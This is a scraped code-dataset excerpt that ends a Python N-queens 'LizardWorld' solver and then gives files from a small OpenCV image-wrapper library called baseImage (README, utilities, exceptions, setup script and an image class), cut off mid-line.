diagnal2\n # check if the column is ok , diagnal 1 is OK and diagnal 2 is OK\n for queen in self.filledPositions:\n if queen[0] + queen[1] == row + col or queen[0] - queen[1] == row - col or queen[1] == col or queen[0] == row:\n return False\n\n return True\n\n def solveLizardWorldUtilDFS(self, n, inputMatrix, rowStart, startTime):\n\n # if all lizards have been placed, return True\n if len(self.filledPositions) == self.lizardCount:\n # print(\"Filled Positions#:\",len(self.filledPositions), \" ==>\" , self.filledPositions)\n return True\n\n if (time.time() - startTime)/60 > 4.8:\n return False\n # search where to place the next lizard starting, given the last lizard was placed @ (rowinit, colinit)\n '''\n search 1:Next position could be in the same row if there is a tree in the row\n search 2: else simply search the next row\n '''\n\n for row in range(rowStart, n):\n for col in range(n):\n if self.isPositionSafe(self.filledPositions, row, col):\n self.inputMatrix[row][col] = 1\n self.filledPositions.append((row, col))\n\n if self.solveLizardWorldUtilDFS(n, inputMatrix, row, startTime):\n return True\n\n self.inputMatrix[row][col] = 0\n self.filledPositions.remove((row,col))\n\n return False\n\n def solveLizardWorldUtilNoTreeDFS(self, n, inputMatrix, row, startTime):\n # if all lizards have been placed, return True\n if len(self.filledPositions) == self.lizardCount:\n print(\"Filled Positions#:\", len(self.filledPositions), \" ==>\", self.filledPositions)\n return True\n\n if (time.time() - startTime)/60 >4.8:\n return False\n\n for col in range(n):\n if self.isPositionSafeNoTreeDFS(self.filledPositions, row, col):\n inputMatrix[row][col] = 1\n self.filledPositions.append((row, col))\n\n # now for row+1 try to find a col where we can place the next queen : For eg iter1 places @ (0,0). Next we pass row = 1 and check which col is safe for queen2. we find col = 2 place queen at (1,2)\n if self.solveLizardWorldUtilNoTreeDFS(n , inputMatrix, row + 1, startTime):\n return True\n\n inputMatrix[row][col] = 0 # remove the previously places queen beacuase a False was propagated up the recursion Tree\n self.filledPositions.remove((row, col))\n\n return False\n\n\n '''\n ###########################################################################\n ################################ 2. BFS ###################################\n ###########################################################################\n '''\n def isPositionSafeBFS(self, currentFilled, row, col):\n\n if self.inputMatrix[row][col] !=0:\n return False\n\n colSafe = True\n rowSafe = True\n leftD = True\n rightD = True\n\n for queen in currentFilled:\n if queen[1] == col:\n colSafe = False\n if self.treeColProtection(row,col, queen[0]):\n colSafe = True\n\n for queen in currentFilled:\n if queen[0] == row:\n rowSafe = False\n if self.treeRowProtection(row,col, queen[1]):\n rowSafe = True\n\n for queen in currentFilled:\n if queen[0] + queen[1] == row + col:\n rightD = False\n if self.treeRightDiagnalProtection(row, col, queen[0], queen[1]):\n rightD = True\n\n for queen in currentFilled:\n if queen[0] - queen[1] == row - col:\n leftD = False\n if self.treeLeftDiagnalProtection(row, col, queen[0], queen[1]):\n leftD = True\n\n return colSafe and rowSafe and leftD and rightD\n\n\n def isPositionSafeNoTreeBFS(self,currentFilledPositions, row, col):\n\n for queen in currentFilledPositions:\n if queen[0] + queen[1] == row + col or queen[0] - queen[1] == row - col or queen[1] == col or queen[0] == row:\n return False\n\n return True\n\n def solveLizardWorldUtilNoTreeBFS(self, n, inputMatrix, queue, startTime ):\n '''\n This function implements the BFS solution for the Lizard World Problem\n :param n: The dimension of nxn input matrix\n :param inputMatrix: the start state for BFS is an empty matrix\n :param queue: queue for BFS solution, stores the current lizard positions\n :param startTime: startTime\n :return: bool\n '''\n\n for row in range(n):\n for col in range(n):\n if inputMatrix[row][col] == 0:\n queue.append([(row, col)])\n\n while queue and (time.time()-startTime)/60 < 4.8:\n\n queueFront = queue.pop(0) # remove front element from the queue; gives the list of filled Lizard Positions\n lenofQueueFront = len(queueFront)\n\n if lenofQueueFront==self.lizardCount:\n self.filledPositions = queueFront\n # print(\"solution Found:\", self.filledPositions)\n return True\n\n currentRowsFilled = {}\n\n for row, col in queueFront:\n currentRowsFilled[row] = 1\n\n row = 0\n while row < n and row not in currentRowsFilled:\n col = 0\n while col<n:\n if self.isPositionSafeNoTreeBFS(queueFront, row, col):\n if lenofQueueFront + 1 == self.lizardCount:\n print(\"solution Found\", queueFront + [(row, col)])\n self.filledPositions = queueFront + [(row, col)]\n return True\n queue.append(queueFront + [(row,col)])\n col+=1\n row+=1\n\n return False\n\n def solveLizardWorldUtilBFS(self, n, inputMatrix, queue, startTime) :\n\n for row in range(n):\n for col in range(n):\n if inputMatrix[row][col] == 0:\n queue.append([(row, col)])\n\n while queue and (time.time()-startTime)/60 < 4.8:\n queueFront = queue.pop(0) # remove front element from the queue; gives the list of filled Lizard Positions\n if len(queueFront)==self.lizardCount:\n self.filledPositions = queueFront\n # print(\"solution Found:\", self.filledPositions)\n return True\n\n for row in range(n):\n for col in range(n):\n if self.isPositionSafeBFS(queueFront, row, col):\n if len(queueFront + [(row, col)]) == self.lizardCount:\n self.filledPositions = queueFront + [(row,col)]\n return True\n queue.append(queueFront + [(row, col)])\n return False\n\n '''\n ###########################################################################\n ################################# 3. SA ##################################\n ###########################################################################\n '''\n\n def printSASolution(self, state):\n\n for row in range(self.n):\n for col in range(self.n):\n key = str(row) + \",\" + str(col)\n if key in self.allPositions:\n print(self.allPositions[key], end=\",\")\n else:\n print(2, end = ',')\n\n print()\n\n print()\n\n def getRandomStartState(self):\n for row in range(self.n):\n for col in range(self.n):\n if self.inputMatrix[row][col] == 0: # could have been 0:free or 2: tree present\n self.allPositions[str(row)+\",\"+ str(col)] = 0\n\n\n startState = random.sample(self.allPositions.keys(), self.lizardCount)\n for key in startState:\n self.allPositions[key] = 1 # set to 1 i.e, lizard present\n\n return startState\n\n def getCostTreePresent(self, currentState):\n # print(currentState)\n cost = 0\n for i in range(len(currentState)):\n for j in range(i + 1, len(currentState)):\n irow, icol = int(currentState[i].split(\",\")[0]), int(currentState[i].split(\",\")[1])\n jrow, jcol = int(currentState[j].split(\",\")[0]), int(currentState[j].split(\",\")[1])\n\n if (irow == jrow):\n if not self.treeRowProtection(jrow, jcol, icol):\n # print(\"oops:\", (irow, icol), \"and \", (jrow, jcol), \"row collsion\")\n cost += 1\n\n if (icol == jcol):\n if not self.treeColProtection(jrow, jcol, irow):\n # print(\"oops:\", (irow, icol), \"and \", (jrow, jcol), \"columnn collsion\")\n cost += 1\n\n if irow + icol == jrow + jcol:\n if not self.treeRightDiagnalProtection(jrow, jcol, irow, icol):\n # print(\"oops:\", (irow, icol), \"and \", (jrow, jcol), \"right D collsion\")\n cost += 1\n\n if irow - icol == jrow - jcol:\n if not self.treeLeftDiagnalProtection(jrow, jcol, irow, icol):\n # print(\"oops:\", (irow, icol), \"and \", (jrow, jcol), \"left D collsion\")\n cost += 1\n\n return cost\n\n def getCost(self, currentState):\n\n cost = 0\n for i in range(len(currentState)):\n for j in range(i + 1, len(currentState)):\n irow, icol = currentState[i].split(\",\")[0], currentState[i].split(\",\")[1]\n jrow, jcol = currentState[j].split(\",\")[0], currentState[j].split(\",\")[1]\n\n if (int(irow) == int(jrow)) or (int(icol) == int(jcol)) or (\n int(irow) + int(icol) == int(jrow) + int(jcol)) or (\n int(irow) - int(icol) == int(jrow) - int(jcol)):\n # print(\"oops\", currentState[i], currentState[j])\n cost = cost + 1\n\n return cost\n\n def getNextState(self, currentState): # randomly swap two values\n\n #print(\"all:\", self.allPositions)\n availPositions = [key for key, value in self.allPositions.items() if value == 0]\n randomAvailPosition = random.sample(availPositions, 1)[0] # this position is avail for you to set\n #print(\"avail positions:\", availPositions, \"randomAvail:\", randomAvailPosition)\n\n\n currentFilledPositions = [key for key, value in self.allPositions.items() if value == 1]\n randomCurrentFilledPosition = random.sample(currentFilledPositions, 1)[0]\n #print(\"currentFilled:\", currentFilledPositions, \"randomCurrentFilled;\", randomCurrentFilledPosition)\n\n self.allPositions[randomAvailPosition] = 1\n self.allPositions[randomCurrentFilledPosition] = 0\n\n\n #print(\"all:\", self.allPositions)\n currentFilledPositions.remove(randomCurrentFilledPosition)\n currentFilledPositions.append(randomAvailPosition)\n #print(currentFilledPositions)\n\n return currentFilledPositions\n\n\n def solveLizardWorldUtilSA(self,n, inputMatrix, temp, startTime):\n\n def getbool(deltaE, temp):\n # print(\"woah\", math.exp(-deltaE / temp) )\n if math.exp(-deltaE / temp) > random.uniform(0, 1):\n return True\n return False\n\n\n currentState = self.getRandomStartState()\n # self.printSASolution(currentState)\n\n currentCost = self.getCostTreePresent(currentState)\n iter = 1\n while (time.time() - startTime) / 60 < 4.9:\n temp = np.float128(temp * (1 / math.log(iter)))\n iter+=1\n nextState = self.getNextState(currentState)\n nextCost = self.getCost(nextState)\n deltaE = nextCost - currentCost\n if deltaE < 0 or getbool(deltaE=deltaE, temp=temp):\n currentState = nextState\n currentCost = nextCost\n if currentCost == 0:\n self.printSASolution(currentState)\n self.filledPositions = currentState\n return currentState\n\n return None\n\n\n def solveLizardWorldUtilNoTreeSA(self,n, inputMatrix, temp, startTime):\n '''\n 6*6 takes 1.2 min\n\n :param n:\n :param inputMatrix:\n :param temp:\n :param startTime:\n :return:\n '''\n\n currentState = self.getRandomStartState()\n currentCost = self.getCost(currentState)\n\n iter = 1\n while (time.time()- startTime)/60 < 4.9:\n iter+=1\n temp = np.float128(temp*(1/math.log(iter)))\n\n nextState = self.getNextState(currentState)\n nextCost = self.getCost(nextState)\n deltaE = nextCost - currentCost\n\n if deltaE<=0 or math.exp(-deltaE / temp) > random.uniform(0,1):\n currentState = nextState\n currentCost = nextCost\n if currentCost == 0:\n # print(\"solution Found:\", currentState, iter)\n self.printSASolution(currentState)\n self.filledPositions = currentState\n return currentState\n # print(iter)\n return None\n\n '''\n ###########################################################################\n ################################# DRIVER ##################################\n ###########################################################################\n '''\n\n def solveLizardWorldInit(self, algo, n, lizardCount, inputMatrix):\n print(\"Solving lizard world using:\", algo.strip(),\" dimension N:\", n, \" Lizard Count:\", lizardCount, \"\\n\")\n\n #self.printSolution()\n\n startTime = time.time()\n self.treeLocations = self.getTreeLocations(inputMatrix)\n\n ######################## 1. DFS #############################\n if algo.strip()==\"DFS\":\n if self.treeLocations:\n # print(\"Function : solveLizardWorldUtilDFS: Trees Present\")\n self.solveLizardWorldUtilDFS(n, inputMatrix, 0, startTime)\n else:\n # print(\"Function : solveLizardWorldUtilNoTreeDFS : Trees Absent\")\n self.solveLizardWorldUtilNoTreeDFS(n, inputMatrix, 0, startTime)\n\n ######################## 2. BFS #############################\n if algo.strip()==\"BFS\":\n if self.treeLocations:\n # print(\"Function: solveLizardWorldUtilBFS : Trees Present\")\n self.solveLizardWorldUtilBFS(n, inputMatrix, [], startTime)\n else:\n # print(\"Function: solveLizardWorldUtilNoTreeBFS: Trees Absent\")\n self.solveLizardWorldUtilNoTreeBFS(n , inputMatrix,[] , startTime)\n\n ######################## 3. SA #############################\n if algo.strip() == \"SA\":\n if self.treeLocations:\n # print(\"Function: solveLizardWorldUtilSA : Trees Present\")\n self.solveLizardWorldUtilSA(n, inputMatrix, 300000, startTime)\n else:\n # print(\"Function: solveLizardWorldUtilNoTreeSA : Trees Absent\")\n self.solveLizardWorldUtilNoTreeSA(n, inputMatrix, 1000, startTime)\n\n\n print(\"totalTime Taken:\", (time.time()-startTime)/60 , \"min\", \"or \", (time.time()-startTime), \"seconds\")\n\n\n def writeOutput(self, status,algo, matrix=None):\n\n if algo.strip() == \"DFS\":\n with open(\"output.txt\", 'w') as f:\n f.write(status)\n if matrix:\n l = len(matrix)\n\n for row in range(len(matrix)):\n if row == l-1:\n matrixrow = \"\".join(list(map(str, matrix[row])))\n else:\n matrixrow = \"\".join(list(map(str, matrix[row]))) + \"\\n\"\n\n f.write(matrixrow)\n\n if algo.strip() == \"BFS\":\n with open(\"output.txt\", 'w') as f:\n f.write(status)\n if matrix:\n # print(self.filledPositions)\n filledDict = dict()\n for row, col in self.filledPositions:\n filledDict[str(row) + \",\"+ str(col)] = 1\n for row in range(self.n):\n currentRow = \"\"\n for col in range(self.n):\n if str(row)+\",\"+str(col) in filledDict:\n currentRow+=\"1\"\n else:\n currentRow+=str(self.inputMatrix[row][col])\n f.write(currentRow+ \"\\n\")\n\n if algo.strip() == \"SA\":\n with open(\"output.txt\", 'w') as f:\n f.write(status)\n if matrix:\n filledDict = dict()\n for key in self.filledPositions:\n filledDict[key] = 1\n for row in range(self.n):\n currentRow = \"\"\n for col in range(self.n):\n if str(row)+\",\"+str(col) in filledDict:\n currentRow+=\"1\"\n else:\n currentRow+=str(self.inputMatrix[row][col])\n f.write(currentRow+ \"\\n\")\n\n\ndef main():\n liz = LizardWorld()\n algo, n, lizardCount, inputMatrix= liz.readData(\"input.txt\")\n\n liz.solveLizardWorldInit(algo, n, lizardCount, inputMatrix)\n\n if len(liz.filledPositions) != lizardCount:\n liz.writeOutput(\"FAIL\",algo, None)\n print(\"FAIL\")\n else:\n # liz.printSolution()\n liz.writeOutput(\"OK\\n\", algo, liz.inputMatrix)\n print(\"OK\")\n\n\nmain()\n" }, { "alpha_fraction": 0.8383838534355164, "alphanum_fraction": 0.8383838534355164, "avg_line_length": 48.5, "blob_id": "07ae33d9c208494837a82d047c994ff6ccc79e3f", "content_id": "cfa0f18faca195f5a1945e0d6b3dd7d8e17042e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 99, "license_type": "no_license", "max_line_length": 84, "num_lines": 2, "path": "/README.md", "repo_name": "sarthak10193/LizardWorld", "src_encoding": "UTF-8", "text": "# LizardWorld\nImplenetation of N-queens Constained problem using Simulated Annlealing, BFS and DFS\n" } ]
2
Hanlen520/base_image
https://github.com/Hanlen520/base_image
78bd90826c0b9d0ec9642769e00cc3b3cfdb77df
edecc921be99ae5e5bc8a0f0b6f507268ac89d18
5dc4a3e6fb09f71f899c8add1a33c60914a81a41
refs/heads/master
2023-06-20T02:28:48.890335
2021-06-27T10:24:34
2021-06-27T10:24:34
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.679058849811554, "alphanum_fraction": 0.722352921962738, "avg_line_length": 15.857142448425293, "blob_id": "23318236359c9fe94a8a41d63bf7478284faf722", "content_id": "001c2328bc5d9d4bf67c61f5fd574a10b9faf68e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2193, "license_type": "permissive", "max_line_length": 118, "num_lines": 126, "path": "/README.md", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "# base_image\n对opencv_python常用接口的二次开发\n\n兼容了cuda与numpy两种格式的图像数据\n\n## Example\n\n1. **Create**\n\nCreate an object from test.png\n\n```Python\nimport cv2\nfrom baseImage import IMAGE\n\nIMAGE(img='test.png', flags=cv2.IMREAD_COLOR, path='./')\n# param img: can be fileName/bytes/numpy.ndarry/cuda_GpuMat\n# param flags: 'https://docs.opencv.org/master/d8/d6a/group__imgcodecs__flags.html#ga61d9b0126a3e57d9277ac48327799c80'\n# param path: Used to set the read path\n```\n\n2. **transform_gpu**\n\nTransform image Data to cuda_GpuMat\n\n```Python\nfrom baseImage import IMAGE\n\nimg = IMAGE('test.png')\nimg.transform_gpu()\n```\n\n3. **transform_cpu**\n\nTransform image Data to numpy.ndarray\n\n```Python\nfrom baseImage import IMAGE\n\nimg = IMAGE('test.png')\nimg.transform_cpu()\n```\n\n4. **imread**\n\nThis returns image Data with numpy.ndarry\n\nThis function will call transform_cpu\n\n```Python\nfrom baseImage import IMAGE\n\nimg = IMAGE('test.png')\nimg.imread()\n```\n\n5. **download**\n\nThis returns image Data with cuda_GpuMat\n\nThis function will call transform_gpu\n\n```Python\nfrom baseImage import IMAGE\n\nimg = IMAGE('test.png')\nimg.download()\n```\n\n6. **imwrite**\n\nWrite Data to object\n\n```Python\nimport cv2\nfrom baseImage import IMAGE\n\nimg = IMAGE(path='./')\nimg.imwrite(img='test.png', flags=cv2.IMREAD_COLOR)\n\n# param img: can be fileName/bytes/numpy.ndarry/cuda_GpuMat\n# param flags: 'https://docs.opencv.org/master/d8/d6a/group__imgcodecs__flags.html#ga61d9b0126a3e57d9277ac48327799c80'\n# param path: Used to set the read path\n```\n\n7. **shape**\n\nThis returns image shape with tuple\n\n```Python\nfrom baseImage import IMAGE\n\nimg = IMAGE('test.png')\nprint(img.shape)\n# Output example:(1080, 1920, 4)\n```\n\n8. **size**\n\nThis return image size with tuple\n\n```Python\nfrom baseImage import IMAGE\n\nimg = IMAGE('test.png')\nprint(img.size)\n# Output example:(1080, 1920)\n```\n\n9. **clone**\n\nReturns a new clone object\n\n```Python\nfrom baseImage import IMAGE\n\nimg1 = IMAGE('test.png')\nprint(img1)\nimg2 = img1.clone()\nprint(img2)\nprint(img1 == img2)\n# Output example:False\n```\n\n## More\n[直接查看函数实现](https://github.com/hakaboom/base_image/blob/master/baseImage/base_image.py#L170)\n\n" }, { "alpha_fraction": 0.6584565043449402, "alphanum_fraction": 0.6600984930992126, "avg_line_length": 22.423076629638672, "blob_id": "a934adb61d77b6b9a85046bd11584a24e510a0ef", "content_id": "0e119377329426da48ee98319b2fb0dd3f6110b6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 609, "license_type": "permissive", "max_line_length": 72, "num_lines": 26, "path": "/baseImage/exceptions.py", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\nclass BaseError(Exception):\n \"\"\" There was an exception that occurred while handling BaseImage\"\"\"\n def __init__(self, message=\"\", *args, **kwargs):\n self.message = message\n\n def __repr__(self):\n return repr(self.message)\n\n\nclass NoImageDataError(BaseError):\n \"\"\" No Image Data in variable\"\"\"\n\n\nclass WriteImageError(BaseError):\n \"\"\" An error occurred while writing \"\"\"\n\n\nclass TransformError(BaseError):\n \"\"\" An error occurred while transform Image Data to gpu/cpu \"\"\"\n\n\nclass ReadImageError(BaseError):\n \"\"\" An error occurred while Read Image \"\"\"\n" }, { "alpha_fraction": 0.6165803074836731, "alphanum_fraction": 0.6269429922103882, "avg_line_length": 22.18000030517578, "blob_id": "61cd0c0ae420f560e5d0e6ca96d8825a9ec83c2b", "content_id": "5246d9383660d33e87815181f1edf3890329b198", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1198, "license_type": "permissive", "max_line_length": 84, "num_lines": 50, "path": "/baseImage/utils.py", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "import os\nimport time\nimport cv2\nimport numpy as np\n\nfrom .exceptions import ReadImageError\n\n\ndef check_file(fileName: str):\n \"\"\"check file in path\"\"\"\n return os.path.isfile('{}'.format(fileName))\n\n\ndef check_image_valid(image):\n \"\"\"检查图像是否有效\"\"\"\n if image is not None and image.any():\n return True\n else:\n return False\n\n\ndef read_image(filename: str, flags: int = cv2.IMREAD_COLOR):\n \"\"\"cv2.imread的加强版\"\"\"\n if check_file(filename) is False:\n raise ReadImageError(\"File not found in path:'{}''\".format(filename))\n\n img = cv2.imdecode(np.fromfile(filename, dtype=np.uint8), flags)\n\n if check_image_valid(img):\n return img\n else:\n raise ReadImageError('cv2 decode Error, path:{}, flags={}', filename, flags)\n\n\ndef bytes_2_img(byte) -> np.ndarray:\n \"\"\"bytes转换成cv2可读取格式\"\"\"\n img = cv2.imdecode(np.array(bytearray(byte)), 1)\n if img is None:\n raise ValueError('decode bytes to image error, param=\\n\\'{}\\''.format(byte))\n\n return img\n\n\nclass auto_increment(object):\n def __init__(self):\n self._val = 0\n\n def __call__(self):\n self._val += 1\n return self._val" }, { "alpha_fraction": 0.5538793206214905, "alphanum_fraction": 0.579741358757019, "avg_line_length": 26.352941513061523, "blob_id": "46faf01ef4bdc6d7d106003145be4a31297bcc7f", "content_id": "378ad6064ec7252ee10ed0510825b61f2b6f2d74", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 464, "license_type": "permissive", "max_line_length": 78, "num_lines": 17, "path": "/setup.py", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom setuptools import setup\n\nsetup(\n name='baseImage',\n version='1.0.5',\n author='hakaboom',\n author_email='[email protected]',\n license='Apache License 2.0',\n description='This is a secondary package of OpenCV,for manage image data',\n url='https://github.com/hakaboom/base_image',\n packages=['baseImage'],\n install_requires=['colorama>=0.4.4',\n \"loguru>=0.5.3\",\n \"pydantic\",\n],\n)" }, { "alpha_fraction": 0.6600000262260437, "alphanum_fraction": 0.6600000262260437, "avg_line_length": 11.5, "blob_id": "d54080fc270bd8aa1473d5e878e675d8303c6767", "content_id": "62763226cd27fc11c3674fbe6a9e651209508a80", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 50, "license_type": "permissive", "max_line_length": 21, "num_lines": 4, "path": "/main.py", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "\"\"\"\npython setup.py sdist\ntwine upload dist/*\n\"\"\"\n" }, { "alpha_fraction": 0.6340579986572266, "alphanum_fraction": 0.6449275612831116, "avg_line_length": 22, "blob_id": "50eed544cda8c039f1123831fa2caf4507963248", "content_id": "5e5ac88773b3bed7ba8787b8bc0a3a5fcf73115a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 276, "license_type": "permissive", "max_line_length": 54, "num_lines": 12, "path": "/baseImage/__init__.py", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom .base_image import IMAGE\nfrom .coordinate import Rect, Point, Size\nimport cv2\nname = 'base_image'\n\n\ndef create(img=None, flags=cv2.IMREAD_COLOR, path=''):\n return IMAGE(img, flags, path)\n\n\n__all__ = ['create', 'Rect', 'Point', 'Size', 'IMAGE']\n" }, { "alpha_fraction": 0.46666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 14, "blob_id": "88c4d162999a3826e0957864f16a6328a737d383", "content_id": "97df4cd1f636ffea92ffcbae5d205dcd41ef7947", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 30, "license_type": "permissive", "max_line_length": 15, "num_lines": 2, "path": "/requirements.txt", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "colorama==0.4.4\nloguru==0.5.3\n" }, { "alpha_fraction": 0.5091263651847839, "alphanum_fraction": 0.5220984816551208, "avg_line_length": 28.93814468383789, "blob_id": "90166fe2e11efb352d4646c59a227f6577f0bab6", "content_id": "039adb04d50faf75bb458a282438447ada8c702a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9445, "license_type": "permissive", "max_line_length": 115, "num_lines": 291, "path": "/baseImage/base_image.py", "repo_name": "Hanlen520/base_image", "src_encoding": "UTF-8", "text": "#! usr/bin/python\n# -*- coding:utf-8 -*-\nimport cv2\n\nfrom .coordinate import Rect\nfrom .utils import read_image, bytes_2_img, auto_increment\nfrom .exceptions import NoImageDataError, WriteImageError, TransformError\nimport numpy as np\n\n\nclass _image(object):\n def __init__(self, img=None, flags=cv2.IMREAD_COLOR, path=''):\n \"\"\"\n 基础构造函数\n :param img: 图片数据\n :param flags: 写入图片的cv flags\n :param path: 默认的图片路径, 在读取和写入图片是起到作用\n :return: None\n \"\"\"\n self.tmp_path = path\n self.image_data = None\n if img is not None:\n self.imwrite(img, flags)\n\n def save2path(self, path=None):\n \"\"\"\n 写入图片到文件\n :param path: 写入的文件路径\n :return: None\n \"\"\"\n path = path or self.path\n cv2.imwrite(path, self.imread())\n\n def imwrite(self, img, flags: int = cv2.IMREAD_COLOR):\n \"\"\"\n 往缓存中写入图片数据\n :param img: 写入的图片数据,可以是图片路径/bytes/numpy.ndarray/cuda_GpuMat/IMAGE\n :param flags: 写入图片的cv flags\n :return: None\n \"\"\"\n if isinstance(img, str):\n self.image_data = read_image('{}{}'.format(self.tmp_path, img), flags)\n elif isinstance(img, bytes):\n self.image_data = bytes_2_img(img)\n elif isinstance(img, np.ndarray):\n self.image_data = img.copy()\n elif isinstance(img, cv2.cuda_GpuMat):\n self.image_data = img.clone()\n elif isinstance(img, _image):\n raise TypeError('Please use the clone function')\n else:\n raise WriteImageError('Unknown params, type:{}, img={} '.format(type(img), img))\n\n def imread(self) -> np.ndarray:\n \"\"\"\n 读取图片数据 (内部会自动转换为cpu格式)\n :return: 图片数据(type: numpy.ndarray)\n \"\"\"\n if self.image_data is not None:\n if self.type == 'cpu':\n return self.image_data\n else:\n self.transform_cpu()\n return self.image_data\n else:\n raise NoImageDataError('No Image Data in variable')\n\n def download(self) -> cv2.cuda_GpuMat:\n \"\"\"\n 读取图片数据 (内部会自动转换为gpu格式)\n :return: 图片数据(type: cuda_GpuMat)\n \"\"\"\n if self.image_data is not None:\n if self.type == 'gpu':\n return self.image_data\n else:\n self.transform_gpu()\n return self.image_data\n else:\n raise NoImageDataError('No Image Data in variable')\n\n def clean_image(self):\n \"\"\"\n 清除缓存\n :return: None\n \"\"\"\n self.image_data = None\n\n @property\n def shape(self) -> tuple:\n \"\"\"\n 获取图片的行、宽、通道数\n :return: 行、宽、通道数\n \"\"\"\n if self.type == 'cpu':\n return self.imread().shape\n else:\n return self.download().size()[::-1] + (self.download().channels(),)\n\n @property\n def size(self) -> tuple:\n \"\"\"\n 获取图片的行、宽\n :return: 行、宽\n \"\"\"\n if self.type == 'cpu':\n return self.imread().shape[:-1]\n else:\n return self.download().size()[::-1]\n\n def clone(self):\n \"\"\"\n 返回一份copy的IMAGE\n :return: IMAGE\n \"\"\"\n if self.type == 'cpu':\n return IMAGE(self.imread(), self.path)\n else:\n return IMAGE(self.download(), self.path)\n\n @property\n def path(self):\n \"\"\"\n 获取图片的默认存放路径\n :return: tmp_path\n \"\"\"\n return self.tmp_path\n\n def transform_gpu(self):\n \"\"\"\n 将图片数据转换为cuda_GpuMat\n :return: None\n \"\"\"\n img = self.image_data\n if isinstance(img, np.ndarray):\n img = cv2.cuda_GpuMat()\n img.upload(self.imread())\n self.imwrite(img)\n elif isinstance(img, cv2.cuda_GpuMat):\n pass\n else:\n raise TransformError('transform Error, img type={}'.format(type(img)))\n\n def transform_cpu(self):\n \"\"\"\n 将图片数据转换为numpy.ndarray\n :return: None\n \"\"\"\n img = self.image_data\n if isinstance(img, cv2.cuda_GpuMat):\n img = img.download()\n self.imwrite(img)\n elif isinstance(img, np.ndarray):\n pass\n else:\n raise TransformError('transform Error, img type={}'.format(type(img)))\n\n @property\n def type(self):\n \"\"\"\n 获取图片数据的类型\n :return: 'cpu'/'gpu'\n \"\"\"\n if isinstance(self.image_data, np.ndarray):\n return 'cpu'\n elif isinstance(self.image_data, cv2.cuda_GpuMat):\n return 'gpu'\n\n\nclass IMAGE(_image):\n SHOW_INDEX = auto_increment()\n\n def imshow(self, title: str = None):\n \"\"\"\n 以GUI显示图片\n :param title: cv窗口的名称, 不填写会自动分配\n :return: None\n \"\"\"\n title = str(title or self.SHOW_INDEX())\n cv2.namedWindow(title, cv2.WINDOW_KEEPRATIO)\n cv2.imshow(title, self.imread())\n\n def rotate(self, angle: int = 90, clockwise: bool = True):\n \"\"\"\n 旋转图片\n :param angle: 旋转角度, 默认为90\n :param clockwise: True-顺时针旋转, False-逆时针旋转\n :return: self\n \"\"\"\n img = self.imread()\n if clockwise:\n angle = 360 - angle\n rows, cols, _ = img.shape\n center = (cols / 2, rows / 2)\n mask = img.copy()\n mask[:, :] = 255\n M = cv2.getRotationMatrix2D(center, angle, 1)\n top_right = np.array((cols, 0)) - np.array(center)\n bottom_right = np.array((cols, rows)) - np.array(center)\n top_right_after_rot = M[0:2, 0:2].dot(top_right)\n bottom_right_after_rot = M[0:2, 0:2].dot(bottom_right)\n new_width = max(int(abs(bottom_right_after_rot[0] * 2) + 0.5), int(abs(top_right_after_rot[0] * 2) + 0.5))\n new_height = max(int(abs(top_right_after_rot[1] * 2) + 0.5), int(abs(bottom_right_after_rot[1] * 2) + 0.5))\n offset_x, offset_y = (new_width - cols) / 2, (new_height - rows) / 2\n M[0, 2] += offset_x\n M[1, 2] += offset_y\n self.imwrite(cv2.warpAffine(img, M, (new_width, new_height)))\n return self\n\n def crop_image(self, rect):\n \"\"\"\n 区域范围截图,并将截取的区域构建新的IMAGE\n :param rect: 需要截图的范围,可以是Rect/[x,y,width,height]/(x,y,width,height)\n :return: 截取的区域\n \"\"\"\n img = self.imread()\n height, width = self.size\n if isinstance(rect, (list, tuple)) and len(rect) == 4:\n rect = Rect(*rect)\n elif isinstance(rect, Rect):\n pass\n else:\n raise ValueError('unknown rect: type={}, rect={}'.format(type(rect), rect))\n if not Rect(0, 0, width, height).contains(rect):\n raise OverflowError('Rect不能超出屏幕 rect={}, tl={}, br={}'.format(rect, rect.tl, rect.br))\n # 获取在图像中的实际有效区域:\n x_min, y_min = int(rect.tl.x), int(rect.tl.y)\n x_max, y_max = int(rect.br.x), int(rect.br.y)\n return IMAGE(img[y_min:y_max, x_min:x_max])\n\n def binarization(self):\n \"\"\"\n 使用大津法将图片二值化,并返回新的IMAGE\n :return: new IMAGE\n \"\"\"\n gray_img = self.cvtColor(dst=cv2.COLOR_BGR2GRAY)\n if self.type == 'cpu':\n retval, dst = cv2.threshold(gray_img, 0, 255, cv2.THRESH_OTSU)\n return IMAGE(dst)\n else:\n # cuda.threshold 不支持大津法\n retval, dst = cv2.threshold(gray_img.download(), 0, 255, cv2.THRESH_OTSU)\n img = cv2.cuda_GpuMat()\n img.upload(dst)\n return IMAGE(img)\n\n def rectangle(self, rect: Rect):\n \"\"\"\n 在图像上画出矩形\n :param rect: 需要截图的范围,可以是Rect/[x,y,width,height]/(x,y,width,height)\n :return: None\n \"\"\"\n pt1 = rect.tl\n pt2 = rect.br\n cv2.rectangle(self.imread(), (pt1.x, pt1.y), (pt2.x, pt2.y), (0, 255, 